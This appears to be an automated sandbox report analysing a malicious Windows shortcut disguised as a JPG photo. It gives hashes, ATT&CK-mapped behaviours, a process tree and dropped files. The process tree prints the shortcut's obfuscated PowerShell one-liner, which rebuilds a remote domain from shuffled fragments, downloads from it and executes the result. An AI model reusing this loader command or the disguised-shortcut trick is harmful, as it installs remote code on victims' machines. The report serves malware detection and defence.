c682ad7b0e2331d6ee19954c0f5faa5a8ba353f005f5e333c5993d86a61ea182

Analysis

max time kernel
298s
max time network
248s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 03:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_080418.jpg.lnk
Size 1KB
Sample260729-ehhc3sgk41
SHA256 c682ad7b0e2331d6ee19954c0f5faa5a8ba353f005f5e333c5993d86a61ea182
MD5 9142f2132cf7f964262259214aeb24c8
SHA1 6ea33b6645a4bfeb1b7a4ab78f0b6421cb790618
SHA512 f4b41ea2c3819f5c8f111cb3ddf25d9e01f46569daf8e54a2b34d17e39c33b16504e6f70119726cb9717e605a525c9cc9a030841ec80b09cb98cd07af18c1dd0
TLSH
T1B621C1151BF20739D6BB8B755876631187327A0EDA55CFDF1280C2949564211F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2492	powershell.exe
6	2492	powershell.exe
22	2492	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4088	cmd.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4088 wrote to memory of 2492	4088	cmd.exe	87
PID 2492 wrote to memory of 4000	2492	powershell.exe	89
PID 4000 wrote to memory of 952	4000	csc.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_080418.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ser','hotoinstayno','w.shop','vp','re')[4,0,3,1,2] -join $gM5) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rmdind3f\rmdind3f.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82C7.tmp" "c:\Users\Admin\AppData\Local\Temp\rmdind3f\CSC67A8AFAA4D1146AE8D20CEFB1B934EC8.TMP"
      4⤵
      PID:952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES82C7.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES82C7.tmp
Size 1KB
SHA256 f1781ab54b5ac84f1b6d38bc854f6ef0bc2cda03abc0e7797e2304fce1906af8
MD5 1433da7b0bd86a5f84735bf212887465
SHA1 a2856b5b36f94d31ae826cde39849c27dc5880c8
SHA512 9137f367965e52015e88a8b256377aaf0715450435ccf060c49fd70233fbe9e0b94b857d4390f7dc272d8dfba2d1d412ae811f496624846d7aede5e637e361dd
TLSH
T1FB21AF0553E84B1EF0B71731A9F6171BA274FD55EF62576B854042282C50204EFB0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zpnknnro.oog.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpnknnro.oog.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

rmdind3f.dll

Path C:\Users\Admin\AppData\Local\Temp\rmdind3f\rmdind3f.dll
Size 3KB
SHA256 b4d17cfbc40eb47068a5f69e531e06e48cdfd914d389142de565ba61d67ae0cf
MD5 75abd94531d9b4318cb47bb611094112
SHA1 bde0c7ddf49012c735e21fb4d8792e7120c9d711
SHA512 b26f00e50d6c296f60fcd5b23bb0f1ecf927c5daee7ff653271af7f971bbba2b1d92de84cb3798990e98fa42d49caabb46a4e3e5e250227df4b55ceccc0a6e63
TLSH
T1F551DC1AA3EC462BE4B70734AFF3036337B4FC148FB2576A59801229AC207545E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC67A8AFAA4D1146AE8D20CEFB1B934EC8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\rmdind3f\CSC67A8AFAA4D1146AE8D20CEFB1B934EC8.TMP
Size 652B
SHA256 52612356e6bacb07a125361aa2d89b86415a69039cff6e0a213921b61c773adb
MD5 0e6398af2d45580b6ea12a3747e27ca4
SHA1 15c69db4d96d0efc0dbb290a2ddbae02e4a0eb6e
SHA512 f982a1e72cd1e601cb0041e014db39867ad84b2c02beaced0f5ba122ffcef4ba7d6ffec3eae8cf1a6db8db2f449eb284462c8d387b95849ec7165b6119c4f8b5
TLSH
T193F05E0963F8020EF0F75B30BEF64363A1A9BC65DE3293ED148053192C646108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

rmdind3f.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\rmdind3f\rmdind3f.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

rmdind3f.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\rmdind3f\rmdind3f.cmdline
Size 369B
SHA256 f839fc9213e8ddb06a016725482f1accdd692a62bd3b86daf68162f326ed8482
MD5 04c136ad4b6380686c379669e6ffcabe
SHA1 260fcde55ca40f0a5312ba40de19489a93f8d5ed
SHA512 abf77325cfe802de0cb66ab57ed67fa7b56619e0b5ba5e372eeb176d3b15453ca2e90627096405cf8e10df78294ee87469c5267b9040583cd4ebdab497a4d77c
TLSH
T1CBE0C02E7346C67E21ED15076669E4EDC6720F832B413FD45270440DD1170002FE174D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2492-11-0x0000029EA2BE0000-0x0000029EA2C02000-memory.dmp

Download

memory/2492-3-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download

memory/2492-2-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download

memory/2492-24-0x0000029EA2BB0000-0x0000029EA2BB8000-memory.dmp

Download

memory/2492-25-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download

memory/2492-27-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download

memory/2492-26-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download

memory/2492-28-0x0000029E88680000-0x0000029E88690000-memory.dmp

Download